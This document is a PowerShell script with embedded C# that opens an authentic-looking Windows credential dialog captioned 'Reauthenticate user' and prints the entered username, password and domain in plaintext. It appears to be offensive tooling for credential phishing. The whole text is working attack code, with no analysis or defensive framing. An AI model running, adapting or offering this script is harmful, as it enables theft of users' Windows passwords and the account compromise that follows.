Prompt a user for credentials on Windows and dump in plaintext

Invoke-PromptForCredentials.ps1

$type=@"
using System;
using System.Text;
using System.Runtime.InteropServices;

public static class CredUI
{

	[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
	private struct CREDUI_INFO
	{
	     public int cbSize;
	     public IntPtr hwndParent;
	     public string pszMessageText;
	     public string pszCaptionText;
	     public IntPtr hbmBanner;
	}

	[DllImport("credui.dll", CharSet = CharSet.Auto)]
	private static extern bool CredUnPackAuthenticationBuffer(int dwFlags, IntPtr pAuthBuffer, uint cbAuthBuffer, StringBuilder pszUserName, ref int pcchMaxUserName, StringBuilder pszDomainName, ref int pcchMaxDomainame, StringBuilder pszPassword, ref int pcchMaxPassword);

	[DllImport("credui.dll", CharSet = CharSet.Auto)]
	private static extern int CredUIPromptForWindowsCredentials(ref CREDUI_INFO notUsedHere, int authError, ref uint authPackage, IntPtr InAuthBuffer, uint InAuthBufferSize, out IntPtr refOutAuthBuffer, out uint refOutAuthBufferSize, ref bool fSave, int flags);

	public static void Prompt() {
	    	CREDUI_INFO credui = new CREDUI_INFO();
		credui.pszCaptionText = "Reauthenticate user";
		credui.pszMessageText = "This will allow us to grab your credentials in plaintext";
		credui.cbSize = Marshal.SizeOf(credui);
		uint authPackage = 0;
		IntPtr outCredBuffer = new IntPtr();
		uint outCredSize;
		bool save = false;
		int result = CredUIPromptForWindowsCredentials(ref credui, 0,ref authPackage,IntPtr.Zero, 0, out outCredBuffer, out outCredSize, ref save, 1 /* Generic */);

		var usernameBuf = new StringBuilder(100);
		var passwordBuf  = new StringBuilder(100);
		var domainBuf = new StringBuilder(100);

		int maxUserName = 100;
		int maxDomain = 100;
		int maxPassword = 100;
		if (result == 0)
		{
			if (CredUnPackAuthenticationBuffer(0, outCredBuffer, outCredSize, usernameBuf, ref maxUserName, domainBuf, ref maxDomain, passwordBuf, ref maxPassword))
			{
				Console.WriteLine("Username: {0}", usernameBuf.ToString());
				Console.WriteLine("Password: {0}", passwordBuf.ToString());
				Console.WriteLine("Domain: {0}", domainBuf.ToString());
				return;
			}
		}
	}
}
"@
Add-Type -TypeDefinition $type;
[CredUI]::Prompt();